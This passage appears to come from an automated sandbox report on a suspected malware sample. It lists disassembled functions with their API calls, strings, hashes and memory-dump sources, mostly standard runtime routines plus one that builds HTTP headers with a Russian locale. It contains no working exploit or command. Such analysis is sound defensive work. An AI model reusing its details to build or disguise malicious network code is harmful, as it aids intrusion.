Opcode Fuzzy Hash: 00851e4ded4e5e03db144df6c0333d2f877147d47fd9b3b0a9c51e3763c74205
Instruction Fuzzy Hash: 6B515E70900259EAFB64EBA4CC89BDDB7B9EF04380F5005E9E109A6055DB74AFC4CF61

Function 100010C7 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 55networkCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 100010CE
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001103
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001123
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001143
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001163

Strings

Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0, xrefs: 10001145
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1, xrefs: 100010D9
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8, xrefs: 10001105
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1, xrefs: 10001125

Memory Dump Source

Source File: 00000000.00000002.2600156723.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2600132481.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600182556.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600204209.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_8V0INSl0E2.jbxd

Similarity

API ID: HeadersHttpRequest$H_prolog3_
String ID: Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1$Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0$Accept-Language: ru-RU,ru;q=0.9,en;q=0.8$Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
API String ID: 1254599795-787135837
Opcode ID: 8d3d7825b2bb6dea36e27622bcd4b7ddfc44603214986a735072bca3a8471053
Instruction ID: 505ec4d7c45309835e960384523a5e30396a54de81b8e769e2ad7823f420ed9d
Opcode Fuzzy Hash: 8d3d7825b2bb6dea36e27622bcd4b7ddfc44603214986a735072bca3a8471053
Instruction Fuzzy Hash: DA119372D0010DEEEB10DBA9DC91DEEBB78EB18351FA0C019F22176051DB75AA45DBB1

Function 04B6134C Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 04B61362

Part of subcall function 04B61D29: HeapFree.KERNEL32(00000000,00000000,?,04B672DB,?,00000000,?,?,?,04B67302,?,00000007,?,?,04B675E1,?), ref: 04B61D3F
Part of subcall function 04B61D29: GetLastError.KERNEL32(?,?,04B672DB,?,00000000,?,?,?,04B67302,?,00000007,?,?,04B675E1,?,?), ref: 04B61D51

_free.LIBCMT ref: 04B6136E
_free.LIBCMT ref: 04B61379
_free.LIBCMT ref: 04B61384
_free.LIBCMT ref: 04B6138F
_free.LIBCMT ref: 04B6139A
_free.LIBCMT ref: 04B613A5
_free.LIBCMT ref: 04B613B0
_free.LIBCMT ref: 04B613BB
_free.LIBCMT ref: 04B613C9

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: fe283fd8c536959d9cbb52a3305d3fc21224adf50181bca55d874b9ff2adc1f7
Instruction ID: ac5a78294abe88eea20ff746520f64aeb13d8464f4fbc3c2ee014404748e9562
Opcode Fuzzy Hash: fe283fd8c536959d9cbb52a3305d3fc21224adf50181bca55d874b9ff2adc1f7
Instruction Fuzzy Hash: 7221967A90011CFFDB45EFA9D880DDE7FB9BF08344B0091A6E6169B121DB35EA54DB80

Function 004110E5 Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004110FB

Part of subcall function 00411AC2: RtlFreeHeap.NTDLL(00000000,00000000,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?), ref: 00411AD8
Part of subcall function 00411AC2: GetLastError.KERNEL32(?,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?,?), ref: 00411AEA

_free.LIBCMT ref: 00411107
_free.LIBCMT ref: 00411112
_free.LIBCMT ref: 0041111D
_free.LIBCMT ref: 00411128
_free.LIBCMT ref: 00411133
_free.LIBCMT ref: 0041113E
_free.LIBCMT ref: 00411149
_free.LIBCMT ref: 00411154
_free.LIBCMT ref: 00411162

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 9528e1cdbf83faf96e5ccd5663a9dae100ce71697e6d3b34ec1221184646fa63
Instruction ID: 5835e015de09c4cc1f53331febaa62aeb6779b48f58b4a69f4cd00ff2e5db2ca
Opcode Fuzzy Hash: 9528e1cdbf83faf96e5ccd5663a9dae100ce71697e6d3b34ec1221184646fa63
Instruction Fuzzy Hash: 3D219876900108AFCB41EF95C881DDE7FB9BF48344B0445ABB6199B121EB75DA84CB84

Function 04D104E5 Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 04D104FB
_free.LIBCMT ref: 04D10507
_free.LIBCMT ref: 04D10512
_free.LIBCMT ref: 04D1051D
_free.LIBCMT ref: 04D10528
_free.LIBCMT ref: 04D10533
_free.LIBCMT ref: 04D1053E
_free.LIBCMT ref: 04D10549
_free.LIBCMT ref: 04D10554
_free.LIBCMT ref: 04D10562

Memory Dump Source

Source File: 00000000.00000003.1907665931.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_8V0INSl0E2.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: fe283fd8c536959d9cbb52a3305d3fc21224adf50181bca55d874b9ff2adc1f7
Instruction ID: d72148158ef2bee0dbfb21127993e6aabffc9e7a1c0bc0ffffd14734644285b7
Opcode Fuzzy Hash: fe283fd8c536959d9cbb52a3305d3fc21224adf50181bca55d874b9ff2adc1f7
Instruction Fuzzy Hash: AB21AD76A00108BFDB42EF95E980DDD7BB5FF08244F00456AF9199B531DB31E684CB90

Function 0041A609 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlDecodePointer.NTDLL(?), ref: 0041A622

Strings

asin, xrefs: 0041A74F
exp, xrefs: 0041A6A1, 0041A706
log, xrefs: 0041A67F, 0041A68E
log10, xrefs: 0041A664, 0041A673
acos, xrefs: 0041A758
sqrt, xrefs: 0041A761
pow, xrefs: 0041A6C0, 0041A76A, 0041A7B7

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: b0f5ff7df8ac5b22e86cd4b492fd97d41adae4fcfb0b2561f3f2f1ad21474b7f
Instruction ID: 98f7bf46ea2d04c7b06ac9836e821450726948aa73f1de9436264de5739e925b
Opcode Fuzzy Hash: b0f5ff7df8ac5b22e86cd4b492fd97d41adae4fcfb0b2561f3f2f1ad21474b7f
Instruction Fuzzy Hash: 5651ACB490121ACBDF109FA8E94C1EEBBB0FB05300F554047D4A1A62A5C77CCAF68B5E

Function 10004131 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 10004250
___TypeMatch.LIBVCRUNTIME ref: 1000435E
_UnwindNestedFrames.LIBCMT ref: 100044B0
CallUnexpected.LIBVCRUNTIME ref: 100044CB

Strings

csm, xrefs: 10004287
csm, xrefs: 1000416E
csm, xrefs: 100041DB

Memory Dump Source

Source File: 00000000.00000002.2600156723.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2600132481.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600182556.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600204209.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_8V0INSl0E2.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: c4421cf047d38b61ed069ce13853ee51e8b724bc32a0b317f19ee854d316b146
Instruction ID: 3d3d7b973083d5502e03e9704e538657a8ad6664bd6ca03923258a49de60437f
Opcode Fuzzy Hash: c4421cf047d38b61ed069ce13853ee51e8b724bc32a0b317f19ee854d316b146
Instruction Fuzzy Hash: C0B180B5C00209DFEF05DF94D881A9EBBB9FF04390F12415AF8116B21ADB31EA51CB99

Function 04B592EF Relevance: 12.1, APIs: 8, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(0042AF64,00000FA0,?,?,04B592CD), ref: 04B592FB
GetModuleHandleW.KERNEL32(0041DFB8,?,?,04B592CD), ref: 04B59306
GetModuleHandleW.KERNEL32(0041DFFC,?,?,04B592CD), ref: 04B59317
GetProcAddress.KERNEL32(00000000,0041E018), ref: 04B59329
GetProcAddress.KERNEL32(00000000,0041E034), ref: 04B59337
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,04B592CD), ref: 04B5935A
RtlDeleteCriticalSection.NTDLL(0042AF64), ref: 04B59376
CloseHandle.KERNEL32(0042AF60,?,?,04B592CD), ref: 04B59386

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID:
API String ID: 2565136772-0
Opcode ID: f40741635cb42056a58b419ea30317dd48f67c6f9c1bd194eb93f888c376e813
Instruction ID: 70e8b723cdd2eae77f4688faf33b16370e756735ad78d8f25da67e432da50b08
Opcode Fuzzy Hash: f40741635cb42056a58b419ea30317dd48f67c6f9c1bd194eb93f888c376e813
Instruction Fuzzy Hash: 2D01B5F1F40321EBD7202F70BD08B9A7BA8EB8CB01B194071FD05D21B0DBACD4028A69

Function 100028D6 Relevance: 10.6, APIs: 7, Instructions: 136COMMONLIBRARYCODE

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 1000291D
___scrt_uninitialize_crt.LIBCMT ref: 10002937

Memory Dump Source

Source File: 00000000.00000002.2600156723.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2600132481.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600182556.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600204209.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_8V0INSl0E2.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: bcaf1c042ea0bc50edbc81b8ebd31fe72f9a2e1de53f2412ad321d30f710d584
Instruction ID: 04769ff959a67eddfc0a91c70c155494b73e6b711ec1a15a155288148215b0b0
Opcode Fuzzy Hash: bcaf1c042ea0bc50edbc81b8ebd31fe72f9a2e1de53f2412ad321d30f710d584
Instruction Fuzzy Hash: 3741F372E05229AFFB21CF68CC41BAF7BA4EB846D0F114119F84467258DB309E419BA1

Function 10003A20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 10003A57
___except_validate_context_record.LIBVCRUNTIME ref: 10003A5F
_ValidateLocalCookies.LIBCMT ref: 10003AE8
__IsNonwritableInCurrentImage.LIBCMT ref: 10003B13
_ValidateLocalCookies.LIBCMT ref: 10003B68

Strings

csm, xrefs: 10003AFD

Memory Dump Source

Source File: 00000000.00000002.2600156723.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2600132481.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600182556.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600204209.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_8V0INSl0E2.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 618cc4b1c9e8ab126c58b9dfa5104022869f7905af091c597ce0ca7ba0b792b2
Instruction ID: 53213870faae5245fec6ed73a44d54790f208d332314260de239e107b7581961
Opcode Fuzzy Hash: 618cc4b1c9e8ab126c58b9dfa5104022869f7905af091c597ce0ca7ba0b792b2
Instruction Fuzzy Hash: 2A41E434A002189FDF02CF68C881A9FBBF9EF453A8F11C065E9149B356C771EA15CB91

Function 0040ABE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0040AC17
___except_validate_context_record.LIBVCRUNTIME ref: 0040AC1F
_ValidateLocalCookies.LIBCMT ref: 0040ACA8
__IsNonwritableInCurrentImage.LIBCMT ref: 0040ACD3
_ValidateLocalCookies.LIBCMT ref: 0040AD28

Strings

csm, xrefs: 0040ACBD

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 33bf7593fb2420a6276facfce688e1aeeae85943ba4b5033adcc5dff2c976554
Instruction ID: 3b4537d877df667a26a5f7af8fbb8c140355993206fc9854477fa74853602e25
Opcode Fuzzy Hash: 33bf7593fb2420a6276facfce688e1aeeae85943ba4b5033adcc5dff2c976554
Instruction Fuzzy Hash: 5E41E634A003089BDF10DF69C844A9FBBB1EF45318F14806AEC156B3D2C7399A65CBDA

Function 04D09FE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 04D0A017
___except_validate_context_record.LIBVCRUNTIME ref: 04D0A01F
_ValidateLocalCookies.LIBCMT ref: 04D0A0A8
__IsNonwritableInCurrentImage.LIBCMT ref: 04D0A0D3
_ValidateLocalCookies.LIBCMT ref: 04D0A128

Strings

csm, xrefs: 04D0A0BD

Memory Dump Source

Source File: 00000000.00000003.1907665931.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_8V0INSl0E2.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 33bf7593fb2420a6276facfce688e1aeeae85943ba4b5033adcc5dff2c976554
Instruction ID: 73841cc022a8fdecbc509582920a7c0d58bc2fde7c27bf9d6db0c0f9fef86048
Opcode Fuzzy Hash: 33bf7593fb2420a6276facfce688e1aeeae85943ba4b5033adcc5dff2c976554
Instruction Fuzzy Hash: 27419034B0021CABDF10DF68C884B9E7BA5FF45328F14C156E8149B395D736BA15CBA1

Function 0041611C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 83COMMON

Download Yara Rule

Strings

obA, xrefs: 0041616D
C:\Users\user\Desktop\8V0INSl0E2.exe, xrefs: 00416121

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID:
String ID: C:\Users\user\Desktop\8V0INSl0E2.exe$obA
API String ID: 0-1270468591
Opcode ID: 25d76702c84b0b1a2803db8c0b9f12018f39228ab9c5ebd3ea8f3f736e5c4ef2
Instruction ID: d8f7faa714452712b8dd2e2ad71d7e848a624b740a48fc3c62d8856f0a647b07
Opcode Fuzzy Hash: 25d76702c84b0b1a2803db8c0b9f12018f39228ab9c5ebd3ea8f3f736e5c4ef2
Instruction Fuzzy Hash: E321F971600219BFDB20AF668C81DAB776DEF00368712863BFD15D7291D738ED8187A8

Function 100072FC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

ext-ms-, xrefs: 10007367
api-ms-, xrefs: 10007353

Memory Dump Source

Source File: 00000000.00000002.2600156723.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2600132481.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600182556.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600204209.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_8V0INSl0E2.jbxd

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: cde85c6b5c8b57cdf34b7df1744eca22314f2c72a21997f039bbb8b7806936d4
Instruction ID: 4a8ea71034e84b8525c0961ad639e20c08c2bf99947945f029ec6b94e21b7784
Opcode Fuzzy Hash: cde85c6b5c8b57cdf34b7df1744eca22314f2c72a21997f039bbb8b7806936d4
Instruction Fuzzy Hash: DC219671E01321EBF722DB648C81A4E37A4FB456E0B214124ED59A7195D778EE00A6E1

Function 00411B4A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

api-ms-, xrefs: 00411BA1
ext-ms-, xrefs: 00411BB5

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: e542fd5fe1f20daa28cc2bb0b7df5d538cfe0501b749800661c5dcfdf3bad05e
Instruction ID: 9472c79033c58d28bd5fab4bb402529842eae37fc53cf50cf89856cde478e707
Opcode Fuzzy Hash: e542fd5fe1f20daa28cc2bb0b7df5d538cfe0501b749800661c5dcfdf3bad05e
Instruction Fuzzy Hash: 1F21D571E09221ABCB218B259C44BDB3758AF017A4F254527EE06A73A0F63CFC41C6E8

Function 04B672E9 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 04B672B1: _free.LIBCMT ref: 04B672D6

_free.LIBCMT ref: 04B67337

Part of subcall function 04B61D29: HeapFree.KERNEL32(00000000,00000000,?,04B672DB,?,00000000,?,?,?,04B67302,?,00000007,?,?,04B675E1,?), ref: 04B61D3F
Part of subcall function 04B61D29: GetLastError.KERNEL32(?,?,04B672DB,?,00000000,?,?,?,04B67302,?,00000007,?,?,04B675E1,?,?), ref: 04B61D51

_free.LIBCMT ref: 04B67342
_free.LIBCMT ref: 04B6734D
_free.LIBCMT ref: 04B673A1
_free.LIBCMT ref: 04B673AC
_free.LIBCMT ref: 04B673B7
_free.LIBCMT ref: 04B673C2

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 68c17f3537dccb6f407bd63d1e3096b2584649c38850d27baa78e981a952f3fd
Instruction ID: c5043a0cf87ac6ebf1149f30beff7435cc5c3d2a62f907687b900e3b8d0edb66
Opcode Fuzzy Hash: 68c17f3537dccb6f407bd63d1e3096b2584649c38850d27baa78e981a952f3fd
Instruction Fuzzy Hash: 3B112E75540B18BAEA20BBB0CC45FCB779CEF06B0CF404859F2ABB6050DE6DB5549B60

Function 00417082 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0041704A: _free.LIBCMT ref: 0041706F

_free.LIBCMT ref: 004170D0

Part of subcall function 00411AC2: RtlFreeHeap.NTDLL(00000000,00000000,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?), ref: 00411AD8
Part of subcall function 00411AC2: GetLastError.KERNEL32(?,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?,?), ref: 00411AEA

_free.LIBCMT ref: 004170DB
_free.LIBCMT ref: 004170E6
_free.LIBCMT ref: 0041713A
_free.LIBCMT ref: 00417145
_free.LIBCMT ref: 00417150
_free.LIBCMT ref: 0041715B

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 7beb403989f2ff45ac883155ca3436412fe8c3dddbb890deb39d287985adf827
Instruction ID: 17f1ba636a3ac0ac971b1a3f484e478362915a153c89e36741bf365215ef3bb6
Opcode Fuzzy Hash: 7beb403989f2ff45ac883155ca3436412fe8c3dddbb890deb39d287985adf827
Instruction Fuzzy Hash: 9C118EB2585744B6D520B772CC06FCB7BEC6F48304F40481FB69E66063EA2CAAC04645

Function 04D16482 Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 04D1644A: _free.LIBCMT ref: 04D1646F

_free.LIBCMT ref: 04D164D0
_free.LIBCMT ref: 04D164DB
_free.LIBCMT ref: 04D164E6
_free.LIBCMT ref: 04D1653A
_free.LIBCMT ref: 04D16545
_free.LIBCMT ref: 04D16550
_free.LIBCMT ref: 04D1655B

Memory Dump Source

Source File: 00000000.00000003.1907665931.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_8V0INSl0E2.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 68c17f3537dccb6f407bd63d1e3096b2584649c38850d27baa78e981a952f3fd
Instruction ID: c9ebb171670ef49b0fe2c3026c2877c99d5d3be1d87383c4f7a341e65e25fd52
Opcode Fuzzy Hash: 68c17f3537dccb6f407bd63d1e3096b2584649c38850d27baa78e981a952f3fd
Instruction Fuzzy Hash: 34116D32745B04BBF721BBB0EC46FCB779CEF00708F404818AE9E66072DA69F5848661

Function 04B67F3A Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000000,00000000,00000000), ref: 04B67F82
__fassign.LIBCMT ref: 04B68161
__fassign.LIBCMT ref: 04B6817E
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 04B681C6
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 04B68206
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 04B682B2

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: 7b0876cbb8b9c7573fbc639d1b90b5e6ef59ffe5efa56104f918bce5801debe4
Instruction ID: 4a25b31541ed0933b02c805444c1992ee2f1c37b1302585632ba1bace276fde5
Opcode Fuzzy Hash: 7b0876cbb8b9c7573fbc639d1b90b5e6ef59ffe5efa56104f918bce5801debe4
Instruction Fuzzy Hash: 56D1BB71E026589FCF15DFE8C8809EDBBB5FF48304F2801AAE816BB241D635A946CF50

Function 00417CD3 Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000020,00000000,00000000), ref: 00417D1B
__fassign.LIBCMT ref: 00417EFA
__fassign.LIBCMT ref: 00417F17
WriteFile.KERNEL32(?,00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00417F5F
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00417F9F
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041804B

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: 7d169ff53d2c182e8e6c437c86224f09291a86b025f17f4b0d862f02f7e42911
Instruction ID: bf6bde338aaa4c5312f696cbfa7b8c1c2da82e764b9ff6896d8d464e3c4a4b13
Opcode Fuzzy Hash: 7d169ff53d2c182e8e6c437c86224f09291a86b025f17f4b0d862f02f7e42911
Instruction Fuzzy Hash: 13D19C71E042589FCF15CFA8C9809EEBBB5FF49314F29006AE815BB341D735A986CB58

Function 1000B6D8 Relevance: 9.3, APIs: 6, Instructions: 317fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(?,00000001,?), ref: 1000B720
__fassign.LIBCMT ref: 1000B905
__fassign.LIBCMT ref: 1000B922
WriteFile.KERNEL32(?,10009A1A,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 1000B96A
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 1000B9AA
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 1000BA52

Memory Dump Source

Source File: 00000000.00000002.2600156723.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2600132481.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600182556.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600204209.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_8V0INSl0E2.jbxd

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: 56600ca1f679adaeecf8f36430617c19199fd47716f68d51f6ae8f72f541c1cc
Instruction ID: 817bf58f8fa712ded97291eda06853010b29bdec4c6be72b636a35a8a914ce65
Opcode Fuzzy Hash: 56600ca1f679adaeecf8f36430617c19199fd47716f68d51f6ae8f72f541c1cc
Instruction Fuzzy Hash: 9DC1CF75D006989FEB11CFE8C8809EDBBB5EF09354F28816AE855F7245D631AE42CB60

Function 10003DFA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,10003C01,10002DB0,100027A7,?,100029DF,?,00000001,?,?,00000001,?,100167D8,0000000C,10002AD8), ref: 10003E08
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 10003E16
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 10003E2F
